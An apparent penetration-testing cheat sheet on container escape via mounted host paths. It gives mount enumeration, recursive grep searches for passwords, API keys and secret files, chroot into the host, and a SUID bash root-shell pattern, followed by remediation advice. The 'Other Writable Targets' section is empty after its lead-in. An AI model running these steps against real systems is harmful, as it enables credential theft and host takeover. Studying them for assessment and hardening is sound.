Mounted Host File System

Host mounts expose host paths inside a container.

This may be intentional for application data, logs, backups, source code, Docker control files, or configuration. It becomes an escape path when the mounted host path is sensitive or writable.

Enumeration

List mounts:

mount
findmnt
cat /proc/self/mountinfo

Search for host-looking directories:

find / -maxdepth 3 -type d \( -name "*host*" -o -name "*hostfs*" -o -name "*mnt*" -o -name "*backup*" -o -name "*data*" \) 2>/dev/null

Extra triage commands that often expose lab mounts quickly:

mount | grep ubuntu--vg
ls -la /
mount
find / -maxdepth 3 -type d -name "*mnt*" 2>/dev/null
find / -maxdepth 3 -type d -name "*host*" 2>/dev/null
find / -maxdepth 3 -type d -name "*data*" 2>/dev/null
find / -maxdepth 4 -type d -name "*backup*" 2>/dev/null

Check common paths:

ls -la /host /hostfs /mnt /media 2>/dev/null
ls -la /var/run /run 2>/dev/null

Interesting files:

cat /host/etc/os-release 2>/dev/null
cat /host/etc/hostname 2>/dev/null
ls -la /host/root 2>/dev/null

Read-Only Host Mounts

Read-only host mounts can still expose:

• Source code
• Database configs
• SSH keys
• Cloud credentials
• Environment files
• Backups
• Service configuration
• Host logs

Useful searches:

grep -R "password" /host /hostfs /mnt 2>/dev/null
grep -R "api_key" /host /hostfs /mnt 2>/dev/null
find /host /hostfs /mnt -name "*.env" -o -name "*secret*" 2>/dev/null

If the mount location is unclear, broaden the first pass:

grep -R "password" / 2>/dev/null
grep -R "username" / 2>/dev/null
grep -R "root" /etc 2>/dev/null
grep -R "mysql" / -n 2>/dev/null
grep -R "ssh" / -n 2>/dev/null

Read-only disclosure may enable lateral movement even without direct escape.

Writable Host Mounts

Writable host mounts are more dangerous.

Possible impact:

• Modify host application files
• Drop SSH keys
• Modify cron jobs
• Modify startup scripts
• Write service config
• Create SUID binaries if ownership and mount options allow it
• Modify Docker or Kubernetes data if exposed

Check writability:

touch /host/tmp/ootw-test 2>/dev/null
touch /hostfs/tmp/ootw-test 2>/dev/null
touch /mnt/ootw-test 2>/dev/null

Remove proof files after testing.

Chroot Into Host

If the host root filesystem is mounted:

ls /host/bin/sh /host/bin/bash /host/usr/bin/bash 2>/dev/null

Enter it:

chroot /host /bin/sh

or:

chroot /host /bin/bash

This requires enough privileges inside the container. If chroot fails, the mount may still be useful for file read/write impact.

SUID Bash Pattern

If a writable host path is mounted and ownership changes are effective on the host:

cp /bin/bash /host/tmp/rootbash
chown root:root /host/tmp/rootbash
chmod 4755 /host/tmp/rootbash

From the host:

/tmp/rootbash -p

An aggressive lab variant uses world-writable SUID permissions:

cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4777 /mnt/bash

Then from the host:

./bash -p

This is a lab pattern for demonstrating host impact. In real assessments, use scoped proof agreed with the owner.

Other Writable Targets

The path determines the impact:

Remediation

• Avoid mounting host paths into containers unless required.
• Mount host paths read-only when possible.
• Never mount /, /etc, /root, /var/lib/docker, or runtime sockets into application containers.
• Use narrow, application-specific directories.
• Use least-privilege host file permissions.
• Use noexec, nodev, and nosuid mount options where appropriate.
• Monitor containers with sensitive bind mounts.
• Treat write access to host mounts as host compromise risk.

The question is not only whether a host path is mounted. The question is what the container can do to that path.